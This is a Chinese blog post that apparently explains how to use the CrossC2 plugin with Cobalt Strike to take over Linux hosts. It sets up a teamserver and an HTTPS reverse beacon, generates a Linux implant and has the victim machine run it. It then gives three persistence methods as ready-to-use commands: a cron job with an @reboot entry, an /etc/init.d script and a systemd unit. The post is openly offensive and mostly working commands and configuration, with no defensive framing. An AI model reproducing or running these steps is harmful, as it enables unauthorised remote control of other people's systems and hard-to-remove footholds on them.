程序员开发实例大全宝库

网站首页 > 编程文章 正文

CobaltStrike下借助CrossC2支撑Linux控制

zazugpt 2024-08-24 02:29:23 编程文章 14 ℃ 0 评论

1.CrossC2开源工具

使用CrossC2的插件,类似于在linux上反弹一个cobaltstrike类的shell。

(1)github地址

https://github.com/gloxec/CrossC2

(2)文件下载地址

https://github.com/gloxec/CrossC2/releases/download/v3.1.2/CrossC2Kit-GithubBot-2023-03-27.zip

(3)详细使用:

  • 下载CrossC2.cna,genCrossC2和CrossC2Kit,并修改CrossC2.cna的配置。
  • 创建监听器并复制密钥。
  • 创建windows/beacon_https/reverse_https监听器。
  • 将teamserver目录中的.cobaltstrike.beacon_keys复制到本地。
  • 扩展功能。
  • 添加CrossC2Kit_Loader.cna,包括内存加载和其他功能。
  • cs4.x版本文件管理,进程列表功能缺失,必须使用此Loader重新启动。
  • 生成beacon。

CobaltStrike 支持版本:


CS3.14(bug fixes)

CS4.0

CS4.X (>=4.1)


Master branch

?



cs4.0 branch


?


cs4.1 branch



?





Release Page <= v2.1

?



Release Page >= v2.2



?


2.服务端部署

2.1cobaltstrike服务端部署

chmod +x teamserver

./teamserver [ip] [password]

2.2客户端连接

2.3建立一个监听器,需要注意的是crossc2插件只支持https的beacon

2.4生成木马

我这里是在服务端的cobaltstrike目录直接生成的,如果在非服务端生成需要将服务端根目录的隐藏文件.cobaltstrike.beacon_keys复制下来放到cs根目录

chmod +x genCrossC2.Linux

./genCrossC2.Linux [ip] [port] ./.cobaltstrike.beacon_keys null Linux x64 /tmp/test

被攻击端执行命令

chmod +x test

./test

2.5权限维持

1.利用定时任务

通过设置定时任务,定期检查 CobaltStrike 是否在运行,如果没有运行则启动 CobaltStrike 程序并以 root 或其他高权限用户身份运行。这种方式适用于长期的权限维持。

首先,使用 crontab 命令编辑当前用户的定时任务:

crontab -e

然后,在文件中添加以下内容,表示在每分钟检查一次 CobaltStrike 进程是否在运行,如果不在,则启动 /opt/cobaltstrike/cobaltstrike 进程:

* * * * * if ! pgrep -x "cobaltstrike" > /dev/null; then /opt/cobaltstrike/cobaltstrike; fi

需要注意的是,该命令中的路径和进程名需要替换为实际的程序路径和进程名。

更简单的利用:

crontab -e

@reboot /tmp/test

2.利用 init 脚本启动服务

通过编写 init 脚本,并将其放置在 /etc/init.d 目录下,实现服务的启动、停止、重启等操作,从而达到权限维持的效果。

首先,创建一个名为 cobaltstrike 的文件,放置在 /etc/init.d 目录下,并增加可执行权限:

touch /etc/init.d/cobaltstrike

chmod +x /etc/init.d/cobaltstrike

然后,将以下内容添加到 cobaltstrike 文件中:

#!/bin/bash

### BEGIN INIT INFO

# Provides: cobaltstrike

# Required-Start:

# Required-Stop:

# Default-Start: 2 3 4 5

# Default-Stop: 0 1 6

# Short-Description: CobaltStrike persistence script

# Description: This script will automatically start CobaltStrike and ensure its persistence.

### END INIT INFO

case $1 in

start)

if ! pgrep -x "cobaltstrike" > /dev/null; then

/opt/cobaltstrike/cobaltstrike

fi

;;

stop)

pkill -x "cobaltstrike"

;;

restart)

pkill -x "cobaltstrike"

sleep 5

if ! pgrep -x "cobaltstrike" > /dev/null; then

/opt/cobaltstrike/cobaltstrike

fi

;;

*)

echo "Usage: $0 {start|stop|restart}"

exit 1

;;

esac

exit 0

其中,需要根据实际情况修改 CobaltStrike 程序的路径。

最后,使用以下命令启用服务、开机自启,并启动服务:

systemctl enable cobaltstrike

systemctl start cobaltstrike

3.利用 systemd 启动服务

systemd 是目前主流的 Linux 启动管理器之一,可以制作一个 systemd unit 文件,并通过 systemctl 启动该服务。这种方式不仅具有自动重启,还能够进行进程监控和日志记录等功能。

首先,在 /etc/systemd/system 目录下创建一个名为 cobaltstrike.service 的文件,并增加以下内容:

[Unit]

Description=CobaltStrike persistence script

After=network.target

[Service]

ExecStart=/opt/cobaltstrike/cobaltstrike

Restart=always

[Install]

WantedBy=multi-user.target

其中,需要根据实际情况修改 CobaltStrike 程序的路径。

然后,使用以下命令启用服务、开机自启,并启动服务:

systemctl daemon-reload

systemctl enable cobaltstrike.service

systemctl start cobaltstrike.service

以上就是三种常用的 Linux 权限维持方式及对应的参考详细命令。不同的方法适用于不同的场景,需要根据实际情况进行选择和使用。

Tags:

本文暂时没有评论,来添加一个吧(●'◡'●)

欢迎 发表评论:

最近发表
标签列表